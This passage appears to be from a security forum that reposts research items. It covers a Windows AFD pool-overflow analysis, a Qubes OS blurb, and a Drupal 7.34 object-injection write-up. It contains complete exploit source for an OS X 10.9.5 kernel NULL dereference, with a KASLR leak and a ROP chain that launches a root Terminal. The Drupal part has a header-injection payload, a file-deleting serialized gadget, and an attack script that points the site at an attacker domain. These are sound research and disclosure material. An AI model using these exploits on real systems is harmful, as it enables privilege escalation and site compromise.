used internally by the poll function. With enough entries, this difference may lead to a condition where AFD sufficiently validates the poll information buffer passed in from user-mode, but triggers an integer overflow when calculating the size of the internal buffer. Integer Overflow in AfdPoll64 Once the function proceeds to query each individual socket and fill in their respective AFD_POLL_ENTRY records of the undersized buffer, a pool overflow occurs as the original HandleCount value is used to determine the number of records to be processed. Exploitability The security impact of a vulnerability is in many ways tied to its exploitability. In order to assess the exploitability of the described vulnerability, we need to understand both the conditions under which the vulnerability is triggered as well as how the affected module interacts with system components such as the kernel pool allocator. In order to trigger the vulnerability, we first need to allocate enough memory to ensure that the multiplication/constant addition results in an integer overflow. This is because AFD internally validates the size of the user provided buffer by dividing it by the size of each record (AFD_HANDLE) to see if the supplied count (HandleCount) is consistent. On x64 (Win7), 0×6666662 elements are enough to cause a wrap, meaning that a user-mode buffer of size 0×10 + (0×6666662 * 0×10) is required to be passed to the driver. This translates to 1638MB which furthermore needs to be cached in an internal kernel buffer by the I/O manager as the affected IOCTL uses METHOD_BUFFERED. On x86 (Win7), a user-mode buffer of size 0×99999970 (((0×100000000 – 0×68 / 0×14) * 0xC) – 0×10) has to be allocated. As this is only feasible in /3GB configurations, and the kernel needs an equivalent amount of memory to be cached, we don’t consider this vulnerability to be practically exploitable on 32-bit systems. As the vulnerability results in an out-of-bounds copy to an undersized pool allocation, sufficient knowledge about the pool allocator and its inner workings is also needed. When dealing with pool overflows, one of the most important questions that comes up is whether the attacker is able to limit the number of elements that are written outside the allocated buffer. As the kernel pool is used globally by the system, any memory corruption could potentially affect system stability. In the most frequent case, the vulnerable code will use the count value that was initially used to cause the integer overflow and thus copy elements until an invalid page is hit either in the source or destination buffer. As both buffers are allocated in kernel-mode (METHOD_BUFFERED has already cached the user provided buffer), we cannot rely on unmapped pages to terminate the copy if say the buffer was passed in directly from user-mode. However, there are also cases where validation is enforced on each copied element, which may allow the attacker to terminate the copy arbitrarily (e.g. see the vulnerabilities discussed in “Kernel Pool Exploitation on Windows 7”). In the vulnerable function, AFD copies the user-supplied AFD_POLL_INFO structure to an internal and potentially undersized buffer allocation. This internal structure is later on processed by the same function when querying the status of each individual socket. Before each AFD_HANDLE entry (embedded by the AFD_POLL_INFO structure) is copied to the internal buffer, afd!AfdPoll64 calls ObReferenceObjectByHandle to validate the socket handle and retrieve the backing file object of each respective entry. If the validation fails, the function terminates the copy operation and ignores the remaining entries. In the context of exploitation, this becomes very valuable as we can terminate the pool overflow at the granularity of the size of an internal record structure (sizeof(AFD_POLL_ENTRY)). Socket Handle Validation At this point, we know that we can limit the overflow at 0×28 boundaries. We also know that we can overflow the size of the internal buffer structure because we control n in size = 0xB8 + (n * 0×28). The next task then becomes to find a suitable target of the overflow. For this particular bug, we leverage the PoolIndex attack as described in “Kernel Pool Exploitation on Windows 7”, and overflow the pool header of the next pool allocation. In order to do this reliably, we have to do two things. Manipulate the kernel pool such that reliable and predictable overwrites can be achieved. Find a suitable size to allocate such that we overflow just enough bytes to corrupt the adjacent pool header. Finding the desired size essentially depends on the allocation primitives we have at our disposal. Since the pool overflow is in the non-paged pool, we ideally want to use APIs that allow us to allocate and free memory arbitrarily from this resource. One possibility here is the use of NT objects. In fact, the worker factory object (created in NtCreateWorkerFactory) is of particular interest to us because on our target platform (Windows 7 x64), the size of this object is 0×100 bytes (0×110 including the pool header). By providing the AfdPoll64 function with an AFD_POLL_INFO structure and a HandleCount value of 0×6666668, we can cause the size of the internal buffer allocation to overflow and result in a 0xF8 byte allocation. When rounded up to the nearest block size by the pool allocator, the internal buffer will be 0×100, the same size as the worker factory object. This way, we can manipulate chunks of 0×100 bytes in order to position the buffer allocated by AFD to be positioned next to a chunk that we control. When we trigger the overflow, we copy only two chunks to the internal buffer structure. We do this by providing an invalid socket handle as the third AFD_HANDLE entry. The first record is copied to offset 0xB8 of the internal buffer (whose size is now 0×100), while the second record begins at 0xE0. Because each AFD_POLL_ENTRY record is actually 0×24 bytes in size (padded to 0×28 for alignment), we overflow 4 bytes into the next pool allocation. Specifically, we overflow into the pool header bits (nt!_POOL_HEADER), enough to mount the pool index attack. We fully control the first four bytes in the pool header because the Events value (ULONG) in the AFD_HANDLE structure is copied to offset 0×20 in the AFD_POLL_ENTRY record. Pool Overflow When mounting the pool index attack, we leverage the fact that the pool allocator in Windows does not validate the pool index upon freeing a pool chunk. Windows uses the pool index to look up the pointer to the pool descriptor to which it returns the freed memory block. We can therefore reference an out-of-bounds pointer (null) and map the null page to fully control the pool descriptor. By controlling the pool descriptor, we also control the delayed free list, a list of pool chunks waiting to be freed. If we furthermore indicate that the delayed free list is full (0×20 entries), it is immediately processed upon the free to our crafted pool descriptor, hence we are able to free an arbitrary address to a fully controlled linked list. In short, this means that we are able to write any given controllable address to an arbitrary location. From here, we can overwrite the popular nt!HalDispatchTable entry or any other function pointer called from ring 0. Update (2012-02-18): Thanks to @fdfalcon for pointing out a miscalculation regarding the memory usage on x64. Sursa: http://mista.nu/blog/2012/02/17/cve-2012-0148-a-deep-dive-into-afd/
  18. [h=1]OS X 10.9.5 IOKit IntelAccelerator NULL Pointer Dereference[/h] // clang -o ig_2_3_exploit ig_2_3_exploit.c -framework IOKit -framework CoreFoundation -m32 -D_FORTIFY_SOURCE=0 // ianbeer #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <sys/mman.h> #include <sys/stat.h> #include <unistd.h> #include <CoreFoundation/CoreFoundation.h> #include <IOKit/IOKitLib.h> uint64_t kernel_symbol(char* sym){ char cmd[1024]; strcpy(cmd, "nm -g /mach_kernel | grep "); strcat(cmd, sym); strcat(cmd, " | cut -d' ' -f1"); FILE* f = popen(cmd, "r"); char offset_str[17]; fread(offset_str, 16, 1, f); pclose(f); offset_str[16] = '\x00'; uint64_t offset = strtoull(offset_str, NULL, 16); return offset; } uint64_t leaked_offset_in_kext(){ FILE* f = popen("nm -g /System/Library/Extensions/IONDRVSupport.kext/IONDRVSupport | grep __ZTV17IONDRVFramebuffer | cut -d' ' -f1", "r"); char offset_str[17]; fread(offset_str, 16, 1, f); pclose(f); offset_str[16] = '\x00'; uint64_t offset = strtoull(offset_str, NULL, 16); offset += 0x10; //offset from symbol to leaked pointer return offset; } uint64_t leak(){ io_iterator_t iter; CFTypeRef p = IORegistryEntrySearchCFProperty(IORegistryGetRootEntry(kIOMasterPortDefault), kIOServicePlane, CFSTR("AAPL,iokit-ndrv"), kCFAllocatorDefault, kIORegistryIterateRecursively); if (CFGetTypeID(p) != CFDataGetTypeID()){ printf("expected CFData\n"); return 1; } if (CFDataGetLength(p) != 8){ printf("expected 8 bytes\n"); return 1; } uint64_t leaked = *((uint64_t*)CFDataGetBytePtr(p)); return leaked; } extern CFDictionaryRef OSKextCopyLoadedKextInfo(CFArrayRef, CFArrayRef); uint64_t kext_load_addr(char* target_name){ uint64_t addr = 0; CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL); CFIndex count = CFDictionaryGetCount(kd); void **keys; void **values; keys = (void **)malloc(sizeof(void *) * count); values = (void **)malloc(sizeof(void *) * count); CFDictionaryGetKeysAndValues(kd, (const void **)keys, (const void **)values); for(CFIndex i = 0; i < count; i++){ const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman); if (strcmp(name, target_name) == 0){ CFNumberGetValue(CFDictionaryGetValue(values[i], CFSTR("OSBundleLoadAddress")), kCFNumberSInt64Type, &addr); printf("%s: 0x%016llx\n", name, addr); break; } } return addr; } uint64_t load_addr(){ uint64_t addr = 0; CFDictionaryRef kd = OSKextCopyLoadedKextInfo(NULL, NULL); CFIndex count = CFDictionaryGetCount(kd); void **keys; void **values; keys = (void **)malloc(sizeof(void *) * count); values = (void **)malloc(sizeof(void *) * count); CFDictionaryGetKeysAndValues(kd, (const void **)keys, (const void **)values); for(CFIndex i = 0; i < count; i++){ const char *name = CFStringGetCStringPtr(CFDictionaryGetValue(values[i], CFSTR("CFBundleIdentifier")), kCFStringEncodingMacRoman); if (strcmp(name, "com.apple.iokit.IONDRVSupport") == 0){ CFNumberGetValue(CFDictionaryGetValue(values[i], CFSTR("OSBundleLoadAddress")), kCFNumberSInt64Type, &addr); printf("%s: 0x%016llx\n", name, addr); break; } } return addr; } uint64_t* build_vtable(uint64_t kaslr_slide, size_t* len){ uint64_t kernel_base = 0xffffff8000200000; kernel_base += kaslr_slide; int fd = open("/mach_kernel", O_RDONLY); if (!fd) return NULL; struct stat _stat; fstat(fd, &_stat); size_t buf_len = _stat.st_size; uint8_t* buf = mmap(NULL, buf_len, PROT_READ, MAP_FILE|MAP_PRIVATE, fd, 0); if (!buf) return NULL; /* this stack pivot to rax seems to be reliably present across mavericks versions: push rax add [rax], eax add [rbx+0x41], bl pop rsp pop r14 pop r15 pop rbp ret */ uint8_t pivot_gadget_bytes[] = {0x50, 0x01, 0x00, 0x00, 0x5b, 0x41, 0x5c, 0x41, 0x5e}; uint8_t* pivot_loc = memmem(buf, buf_len, pivot_gadget_bytes, sizeof(pivot_gadget_bytes)); uint64_t pivot_gadget_offset = (uint64_t)(pivot_loc - buf); printf("offset of pivot gadget: %p\n", pivot_gadget_offset); uint64_t pivot = kernel_base + pivot_gadget_offset; /* pop rdi ret */ uint8_t pop_rdi_ret_gadget_bytes[] = {0x5f, 0xc3}; uint8_t* pop_rdi_ret_loc = memmem(buf, buf_len, pop_rdi_ret_gadget_bytes, sizeof(pop_rdi_ret_gadget_bytes)); uint64_t pop_rdi_ret_gadget_offset = (uint64_t)(pop_rdi_ret_loc - buf); printf("offset of pop_rdi_ret gadget: %p\n", pop_rdi_ret_gadget_offset); uint64_t pop_rdi_ret = kernel_base + pop_rdi_ret_gadget_offset; /* pop rsi ret */ uint8_t pop_rsi_ret_gadget_bytes[] = {0x5e, 0xc3}; uint8_t* pop_rsi_ret_loc = memmem(buf, buf_len, pop_rsi_ret_gadget_bytes, sizeof(pop_rsi_ret_gadget_bytes)); uint64_t pop_rsi_ret_gadget_offset = (uint64_t)(pop_rsi_ret_loc - buf); printf("offset of pop_rsi_ret gadget: %p\n", pop_rsi_ret_gadget_offset); uint64_t pop_rsi_ret = kernel_base + pop_rsi_ret_gadget_offset; /* pop rdx ret */ uint8_t pop_rdx_ret_gadget_bytes[] = {0x5a, 0xc3}; uint8_t* pop_rdx_ret_loc = memmem(buf, buf_len, pop_rdx_ret_gadget_bytes, sizeof(pop_rdx_ret_gadget_bytes)); uint64_t pop_rdx_ret_gadget_offset = (uint64_t)(pop_rdx_ret_loc - buf); printf("offset of pop_rdx_ret gadget: %p\n", pop_rdx_ret_gadget_offset); uint64_t pop_rdx_ret = kernel_base + pop_rdx_ret_gadget_offset; munmap(buf, buf_len); close(fd); /* in IOAcceleratorFamily2 two locks are held - r12 survives the pivot, this should unlock all the locks from there: __text:0000000000006F80 lea rsi, unk_32223 __text:0000000000006F87 mov rbx, [r12+118h] __text:0000000000006F8F mov rax, [rbx] __text:0000000000006F92 mov rdi, rbx __text:0000000000006F95 xor edx, edx __text:0000000000006F97 call qword ptr [rax+858h] __text:0000000000006F9D mov rdi, rbx ; this __text:0000000000006FA0 call __ZN22IOGraphicsAccelerator211unlock_busyEv ; IOGraphicsAccelerator2::unlock_busy(void) __text:0000000000006FA5 mov rdi, [rbx+88h] __text:0000000000006FAC call _IOLockUnlock __text:0000000000006FB1 __text:0000000000006FB1 loc_6FB1: ; CODE XREF: IOAccelContext2::clientMemoryForType(uint,uint *,IOMemoryDescriptor **)+650j __text:0000000000006FB1 xor ecx, ecx __text:0000000000006FB3 jmp loc_68BC ... __text:00000000000068BC mov eax, ecx ; jumptable 00000000000067F1 default case __text:00000000000068BE add rsp, 38h __text:00000000000068C2 pop rbx __text:00000000000068C3 pop r12 __text:00000000000068C5 pop r13 __text:00000000000068C7 pop r14 __text:00000000000068C9 pop r15 __text:00000000000068CB pop rbp __text:00000000000068CC retn */ uint64_t unlock_locks = kext_load_addr("com.apple.iokit.IOAcceleratorFamily2") + kaslr_slide + 0x6f80; printf("0x%016llx\n", unlock_locks); uint64_t KUNCExecute = kernel_symbol("_KUNCExecute") + kaslr_slide; uint64_t thread_exception_return = kernel_symbol("_thread_exception_return") + kaslr_slide; //char* payload = "/Applications/Calculator.app/Contents/MacOS/Calculator"; char* payload = "/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal"; uint64_t rop_stack[] = { 0, //pop r14 0, //pop r15 0, //pop rbp +10 unlock_locks, pivot, //+20 virtual call is rax+20 0, //+10 0, //+18 0, 0, //+28 0, 0, //+38 0, //pop rbx 0, //pop r12 0, //pop r13 0, //pop r14 0, //pop r15 0, //pop rbp pop_rdi_ret, (uint64_t)payload, pop_rsi_ret, 0, pop_rdx_ret, 0, KUNCExecute, thread_exception_return }; uint64_t* r = malloc(sizeof(rop_stack)); memcpy(r, rop_stack, sizeof(rop_stack)); *len = sizeof(rop_stack); return r; } void trigger(void* vtable, size_t vtable_len){ //need to overallocate and touch the pages since this will be the stack: mach_vm_address_t addr = 0x41420000 - 10 * 0x1000; mach_vm_allocate(mach_task_self(), &addr, 0x20*0x1000, 0); memset(addr, 0, 0x20*0x1000); memcpy((void*)0x41420000, vtable, vtable_len); //map NULL page vm_deallocate(mach_task_self(), 0x0, 0x1000); addr = 0; vm_allocate(mach_task_self(), &addr, 0x1000, 0); char* np = 0; for (int i = 0; i < 0x1000; i++){ np[i] = 'A'; } volatile uint64_t* zero = 0; *zero = 0x41420000; //trigger vuln CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator"); io_iterator_t iterator; kern_return_t err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator); io_service_t service = IOIteratorNext(iterator); io_connect_t conn = MACH_PORT_NULL; err = IOServiceOpen(service, mach_task_self(), 2, &conn); addr = 0x12345000; mach_vm_size_t size = 0x1000; err = IOConnectMapMemory(conn, 3, mach_task_self(), &addr, &size, kIOMapAnywhere); } int main() { uint64_t leaked_ptr = leak(); uint64_t kext_load_addr = load_addr(); // get the offset of that pointer in the kext: uint64_t offset = leaked_offset_in_kext(); // sanity check the leaked address against the symbol addr: if ( (leaked_ptr & 0xfff) != (offset & 0xfff) ){ printf("the leaked pointer doesn't match up with the expected symbol offset\n"); return 1; } uint64_t kaslr_slide = (leaked_ptr - offset) - kext_load_addr; printf("kaslr slide: %p\n", kaslr_slide); size_t vtable_len = 0; void* vtable = build_vtable(kaslr_slide, &vtable_len); trigger(vtable, vtable_len); return 0; } Sursa: OS X 10.9.5 IOKit IntelAccelerator NULL Pointer Dereference
  19. Welcome to the Qubes OS Project Qubes is an open-source operating system designed to provide strong security for desktop computing using Security by Compartmentalization approach. Qubes is based on Xen, the X Window System, and Linux, and can run most Linux applications and utilize most of the Linux drivers. Qubes Release 1 was released in September 2012 and Release 2 in September 2014. Qubes also supports Windows-based AppVMs beginning with Release 2 (currently in "Beta"). Qubes Release 3 is coming soon and will introduce Hypervisor Abstraction Layer (HAL), allowing easy porting to alternative virtualization systems. Getting Started ?Qubes OS Tutorial slides by ITL (LinuxCon October 2014) Screenshots Architecture Overview, and also the more recent: ?Why Qubes OS is more than a bunch of VMs? Qubes Security Goals FAQ User Documentation ?How is Qubes OS different from...? Beyond Qubes R2 -- the ?Qubes Odyssey Framework Sursa: https://wiki.qubes-os.org/
  20. Drupal 7.34 Admin PHP Object Injection There is an interesting PHP object injection vulnerability in the latest Drupal 7.34 version I played with lately and wanted to write about. It requires administrator privileges and thus its security impact is negligible because a Drupal administrator can execute arbitrary code by uploading custom modules anyway. However, the exploitation is fun and I will document each failed/succeeded step I took. 1. PHP Object Injection Drupal is shipped with a SimpleTest module that allows to write and execute test cases for Drupal modules (/modules/simpletest/drupal_web_test_case.php). For this purpose, the class DrupalTestCase provides methods to automate interaction with the Drupal interface. The method curlHeaderCallback() unserializes data that is passed to its second parameter, for example if the string X-Drupal-Assertion-1: is prepended. [TABLE] [TR] [TD=class: gutter]1841 1842 1843 1844 1845 1846[/TD] [TD=class: code]protected function curlHeaderCallback($curlHandler, $header) { ... if (preg_match('/^X-Drupal-Assertion-[0-9]+: (.*)$/', $header, $matches)) { // Call DrupalWebTestCase::error() with the parameters from the header. call_user_func_array(array(&$this, 'error'), unserialize(urldecode($matches[1]))); } [/TD] [/TR] [/TABLE] Lets see where this method is used. As the name suggests, the curlHeaderCallback() is set as CURLOPT_HEADERFUNCTION callback in the curlInitialize() method. [TABLE] [TR] [TD=class: gutter]1710 1711 1712 1713 1714 1715 1716 1717 1718 1719 1720 1721 1722 1723 1724[/TD] [TD=class: code]protected function curlInitialize() { global $base_url; if (!isset($this->curlHandle)) { $this->curlHandle = curl_init(); $curl_options = array( CURLOPT_COOKIEJAR => $this->cookieFile, CURLOPT_URL => $base_url, CURLOPT_FOLLOWLOCATION => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_SSL_VERIFYPEER => FALSE, CURLOPT_SSL_VERIFYHOST => FALSE, CURLOPT_HEADERFUNCTION => array(&$this, 'curlHeaderCallback'), CURLOPT_USERAGENT => $this->databasePrefix, ); [/TD] [/TR] [/TABLE] That means that every HTTP response header of a request made with this CURL instance is passed through the vulnerable curlHeaderCallback() method. If we can influence the HTTP response header of such an CURL request, we can inject serialized PHP objects into the unserialize call. The HTTP response we want to achive could look like the following in order to inject a stdClass object into the applications scope: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6[/TD] [TD=class: code]HTTP/1.1 200 OK Date: Sun, 04 Jan 2015 15:03:36 GMT Server: Apache X-Drupal-Assertion-1: O:8:"stdClass":1:{s:4:"rips";b:1;} Content-Length: 0 Content-Type: text/html [/TD] [/TR] [/TABLE] The method curlInitialize() is used in the curlExec() method to prepare and execute a CURL request. Here, further CURL options can be specified in the first parameter $curl_options. [TABLE] [TR] [TD=class: gutter]1769 1770 1771 1772 1773 1774[/TD] [TD=class: code]protected function curlExec($curl_options, $redirect = FALSE) { $this->curlInitialize(); ... curl_setopt_array($this->curlHandle, $this->additionalCurlOptions + $curl_options); ... $content = curl_exec($this->curlHandle); [/TD] [/TR] [/TABLE] The wrapper curlExec() is used in the methods drupalGet() and drupalPost() to perform the actual test case request. The targeted request URL is given in the first parameter and is used as CURLOPT_URL parameter. [TABLE] [TR] [TD=class: gutter]1930 1931 1932 1933[/TD] [TD=class: code]protected function drupalGet($path, array $options = array()) { $options['absolute'] = TRUE; $out = $this->curlExec(array(CURLOPT_URL => url($path, $options)); [/TD] [/TR] [/TABLE] 2. Header Injection We now have two possible ways of exploitation. Either, we find a drupalGet() call that we can point to an external domain we control. Then we can respond with a modified HTTP header that will be passed to curlHeaderCallback() and triggers the unserialize. Or we find a HTTP Response Splitting vulnerability within on of Drupal’s scripts plus a drupalGet() or drupalPost() call targeting that script. Then we can inject our own X-Drupal-Assertion header through that vulnerability and add our serialized data. An open redirect vulnerability would work as well here. A quick grep for drupalGet() calls reveals that they are mostly pointing to static and relative URLs. Since Drupal’s test cases work on the current Drupal installation, a call to an external domain we control is unlikely. Hence, I first looked for HTTP Response Splitting vulnerabilities. 2.1 Drupal Send Headers Looking at several header() calls in Drupal’s code reveals the function drupal_add_http_header() that uses drupal_send_headers() to set arbitrary HTTP headers via header(). It is called with user input in the simpletest case /modules/simpletest/tests/system_test.module that looks promising at first sight. [TABLE] [TR] [TD=class: gutter]1930 1931 1932 1933[/TD] [TD=class: code]function system_test_set_header() { drupal_add_http_header($_GET['name'], $_GET['value']); return t('The following header was set: %name: %value', array('%name' => $_GET['name'], '%value' => $_GET['value'])); } [/TD] [/TR] [/TABLE] The function system_test_set_header() is called in the system test case suite and allows to set arbitrary HTTP headers for testing. This way, we could set a X-Drupal-Assertion header. However, the system_test.module test case itself is not targeted by a drupalGet() call that would evaluate our injected HTTP header with the vulnerable callback handler. That would mean that a test case issues this test case. And even if we could point a drupalPost() call of a test case to another test case, we would need HTTP parameter pollution to also modify the HTTP parameters to add the name and value parameter. Summarized, code within test cases is probably hard to trigger with the set of drupalGet() calls we can find in test cases. Maybe we find an easier way. 2.2 HTTP Response Splitting A more promising function is drupal_goto() in /includes/common.inc that is vulnerable to HTTP response splitting. Here, the GET parameter destination is used (if set) in the header() call in line 691 for redirection. By using whitespace characters, such as %0a or %0d, we can add another HTTP header to the previous one (we will come back to the fact that the header() function was fixed). [TABLE] [TR] [TD=class: gutter]681 682 683 684 685 686 687 688 689 690 691 692[/TD] [TD=class: code]function drupal_goto($path = '', array $options = array(), $http_response_code = 302) { // A destination in $_GET always overrides the function arguments. // We do not allow absolute URLs to be passed via $_GET, as this can be an attack vector. if (isset($_GET['destination']) && !url_is_external($_GET['destination'])) { $destination = drupal_parse_url($_GET['destination']); $path = $destination['path']; $options['query'] = $destination['query']; $options['fragment'] = $destination['fragment']; } $url = url($path, $options); header('Location: ' . $url, TRUE, $http_response_code); } [/TD] [/TR] [/TABLE] First, a few tricks are neccessary. The provided destination URL cannot be an external URL which is ensured by the url_is_external() function in line 684. It identifies external URLs by looking for the presence of a : character and ensuring none of the following character is found before it: /?#. Then, the function drupal_parse_url() is used in line 685 to parse the URL into parts. Lastly, the function url() in line 690 generates a urlencoded URL from the parsed parts and that URL is used in header(). We have to smuggle our whitespace characters urldecoded through these functions into the $url. [TABLE] [TR] [TD=class: gutter]575 576 577 578 579 580 581 582 583 584 585 586 587 588 589[/TD] [TD=class: code]function drupal_parse_url($url) { if (strpos($url, '://') !== FALSE) { // Split off everything before the query string into 'path'. $parts = explode('?', $url); $options['path'] = $parts[0]; // If there is a query string, transform it into keyed query parameters. if (isset($parts[1])) { $query_parts = explode('#', $parts[1]); parse_str($query_parts[0], $options['query']); // Take over the fragment, if there is any. if (isset($query_parts[1])) { $options['fragment'] = $query_parts[1]; } } } [/TD] [/TR] [/TABLE] For this purpose, we can abuse the drupal_parse_url() function and its parsing for external URLs. External URLs are identified here by looking for :// and we can easily supply #://AAA?BBB=CCC#DDD as URL to bypass the url_is_external() check because of the # before the : character. Our URL is still parsed as external URL in drupal_parse_url() because it contains ://. Here, the function parse_str() is used in line 583. Now, for relative URLs, parse_str() replaces whitespaces characters within the path (AAA) or parameter names (BBB) into _. That means we cannot inject our whitespace characters here. We can inject them into the parameter values (CCC) because parse_str() automatically decodes urlencoded values here. Later on, however, the function url() will urlencode these values again. But we can use the fragment part (DDD) which is later not urlencoded again by url(). The weaponized destination parameter looks like the following: ?destination=%23://AAA?BBB=CCC%23DDD%0A%09X-Drupal-Assertion-1:%201 Next, isn’t header() fixed in order to prevent HTTP response splitting? It depends on the browser used (and on the PHP version). For example, in IE there are still attack vectors working after the fix. More importantly for us is: how is CURL affected by HTTP response splitting? After fuzzing it turns out that all PHP versions allow %0a%09 within header() AND that CURL parses two seperate HTTP headers when these characters are used as newline characters. That means HTTP response splitting is a viable attack vector against CURL in PHP. So far so good, lets see where drupal_goto() is called and if we can trigger a call via a drupalGet() or drupalPost() call with our destination parameter. For example, I found the following URL to be affected by HTTP response splitting if requested with CURL: /authorize.php?batch=1&id=1&destination=%23://A?B=C%23D%0A%09X-Drupal-Assertion-1:%201 However, after looking through 1000 variable drupal(Get|Post) calls, the only variables in the URL seem to be $item->ids or Drupal’s $base_url. Although authorize.php is targeted by CURL requests, we can not add our destination parameter to the request URL because no URL is built with user input. Injecting a parameter into a CURL request that performs HTTP response splitting in order to add a HTTP header that is then unserialized in the callback handler and triggers a gadget chain would have been a pretty cool exploit though . 2.3 External URL Before we give up, lets have a look at the $base_url that is used in so many drupalGet() calls, such as in the aggregator test case (/modules/aggregator/aggregator.test). [TABLE] [TR] [TD=class: gutter]838 839 840[/TD] [TD=class: code]public function testCron() { global $base_url; $this->drupalGet($base_url . '/cron.php'); [/TD] [/TR] [/TABLE] The global $base_url variable is initialized within the drupal_settings_initialize() function during Drupal’s bootstrap (/includes/bootstrap.inc). [TABLE] [TR] [TD=class: gutter]725 726 727 728 729 730 731 732 733 734 735 736[/TD] [TD=class: code]function drupal_settings_initialize() { global $base_url, $base_path, $base_root; ... // Create base URL $http_protocol = $is_https ? 'https' : 'http'; $base_root = $http_protocol . '://' . $_SERVER['HTTP_HOST']; $base_url = $base_root; ... // Use $base_url as session name, without the protocol list( , $session_name) = explode('://', $base_url, 2); session_name($prefix . substr(hash('sha256', $session_name), 0, 32)); } [/TD] [/TR] [/TABLE] The good thing is, that it uses $_SERVER[‘HTTP_HOST’] (line 730). We can arbitrarily change the Host: header when making a request to Drupal. That means, we can set the Host: header to our own domain when initiating the testCron() aggregator test case which will then initiate a CURL request to the modified $base_url. On our server, we reply with a X-Drupal-Assertion HTTP header that is then unserialized by the targeted web server. The bad thing is, that drupal_settings_initialize() also binds the $base_url to the session name (line 735). That means, we have to fake the Host: header for all steps involved in our exploit. And we have to find some gadget chains we can exploit. 3. Exploitation Lets do this. The gadget chains are not really sophisticated in Drupal due to the lack of interesting initial gadgets (magic methods). We will use the destructor of the class Archive_Tar (/modules/system/system.tar.inc) that allows to delete an arbitrary file by specifying the _temp_tarname property. [TABLE] [TR] [TD=class: gutter]207 208 209 210 211 212 213 214[/TD] [TD=class: code]class Archive_Tar { function __destruct() { $this->_close(); if ($this->_temp_tarname != '') @drupal_unlink($this->_temp_tarname); } } [/TD] [/TR] [/TABLE] On our server we create the following script that instantiates a new Archive_Tar object with the _temp_tarname property set to Drupal’s config file sites/default/settings.php. The object is then serialized and embedded to the HTTP response header. [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9[/TD] [TD=class: code]class Archive_Tar { var $_temp_tarname=''; public function __construct() { $this->_temp_tarname = "sites/default/settings.php"; } } $payload = urlencode(serialize(new Archive_Tar)); header('X-Drupal-Assertion-1: '.$payload); exit; [/TD] [/TR] [/TABLE] Now we have to start the Drupal test case with a faked Host: header in order to let the drupalGet() CURL request point to our script. For this purpose, we write an exploit that logs into Drupal with a faked header to keep our session valid and starts the test case: [TABLE] [TR] [TD=class: gutter]1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81[/TD] [TD=class: code]<?php // Drupal 7.34 POI just for fun // requires admin credentials $username = 'admin'; $password = 'admin'; $targetDomain = 'localhost'; $myDomain = 'websec.wordpress.com'; function request($url, $postdata='', $ajax = false) { global $cookie, $myDomain; $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER,1); curl_setopt($ch, CURLOPT_HEADER, true); curl_setopt($ch, CURLOPT_URL, $url); if(!empty($postdata)) { curl_setopt($ch, CURLOPT_POST, TRUE); curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata); } curl_setopt($ch, CURLOPT_COOKIE, $cookie); $header = array("Host: $myDomain"); if($ajax) { $header[] = "X-Requested-With: XMLHttpRequest"; } curl_setopt($ch, CURLOPT_HTTPHEADER, $header); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, FALSE); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, FALSE); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_FORBID_REUSE, true); curl_setopt($ch, CURLOPT_FRESH_CONNECT, true); $buf = curl_exec ($ch); curl_close($ch); preg_match('/Set-Cookie: (SESS[a-f0-9]{32})=([^;]+);/', $buf, $cookies); if(!empty($cookies)) { $cookie .= $cookies[1].'='.$cookies[2]."; "; } return $buf; } $baseURL = 'http://%s/'; $target = sprintf($baseURL, $targetDomain); $cookie = 'has_js=1; '; // get CSRF token $r1 = request($target); preg_match('/form_build_id" value="([^"]*)"/', $r1, $build_id); // login $postdata = 'form_build_id='. $build_id[1] . '&name='. $username. '&pass='.$password. '&op=Log+in&form_id=user_login_block'; $r2 = request($target . '?q=node&destination=node', $postdata); // check login status $r3 = request($target . '?q=node'); if(strpos($r3, 'Hello <strong>'.$username) !== FALSE) { // get CSRF token $r4 = request($target . '?q=admin%2Fconfig%2Fdevelopment%2Ftesting&render=overlay'); preg_match('/form_build_id" value="([^"]*)"/', $r4, $build_id2); preg_match('/form_token" value="([^"]*)"/', $r4, $token); if(isset($build_id2[1]) && isset($token[1])) { // run simple test $postdata = 'AggregatorCronTestCase=1&op=Run+tests&form_build_id='.$build_id2[1]. '&form_token='.$token[1].'&form_id=simpletest_test_form'; $r5 = request($target . '?q=admin%2Fconfig%2Fdevelopment%2Ftesting&render=overlay&render=overlay', $postdata); // trigger start and do preg_match('#Location: http[^\s]+(\?[^\s]+)\s#', $r5, $loc); $r6 = request($target . $loc[1]); $r7 = request($target . str_replace('start', 'do', $loc[1]), 'post=1', true); echo 'Successfully started AggregatorCronTestCase with a faked Host header.', 'It will parse HTTP headers from ' . sprintf($baseURL, $myDomain) . '.', 'This may take a few minutes.'; } else { die("could not fetch simpletest CSRF token"); } } else { die("Could not login. Invalid login credentials?"); } [/TD] [/TR] [/TABLE] The initiated test case will then make a CURL request to our domain because we faked the $base_url. Here, it will receive our X-Drupal-Assertion header with the serialized Archive_Tar object. This object is now unserialized in the CURL callback handler and injected into the applications scope. Once the application request is parsed, the destructor of our injected Archive_Tar object is invoked and the Drupal configuration file is deleted. Once this happened, the Drupal installer is available to the attacker that enables further attacks. Again, this is just for fun and does not pose any security risk to Drupal, because administrator privileges are required and an administrator is able to execute code on the server anyway. The issue has been reported to Drupal nonetheless. I have been informed that the permission “Administer tests” has the restricted access flag set and is therefore not subject to security advisories/releases (which I agree with). The HTTP host header leads to another attack vector in Drupal. The $base_url is also used in the password reset link sent out by email. When the password reset is initiated with a faked host header for a victim, the link that is sent to the victim via email will point to the attackers server. If the victim clicks on the password reset link, the password reset token is then 